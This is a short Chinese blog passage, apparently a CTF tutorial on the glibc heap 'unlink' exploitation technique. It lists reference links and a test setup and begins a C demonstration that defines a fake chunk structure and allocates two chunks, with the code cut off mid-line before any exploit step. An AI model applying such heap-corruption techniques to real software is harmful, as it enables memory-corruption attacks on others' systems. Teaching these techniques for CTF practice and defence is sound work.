首先:阅读本文需要一定堆的基础知识。
参考链接:传送门 传送门
题目链接:传送门
Unlink
unlink技术原理参考这个网址:传送门
现在看下面的代码。上面有题目链接。我的测试环境是ubuntu14和pwndbg。
#include <unistd.h>
#include <stdlib.h>
#include <string.h>
#include <stdio.h>struct chunk_structure {size_t prev_size;size_t size;struct chunk_structure *fd;struct chunk_structure *bk;char buf[10]; // padding
};int main() {unsigned long long *chunk1, *chunk2;struct chunk_structure *fake_chunk, *chunk2_hdr;char data[20];// First grab two chunks (non fast)chunk1 = malloc(0x80);chunk2 = malloc(0x80);p
更多推荐
ctf
发布评论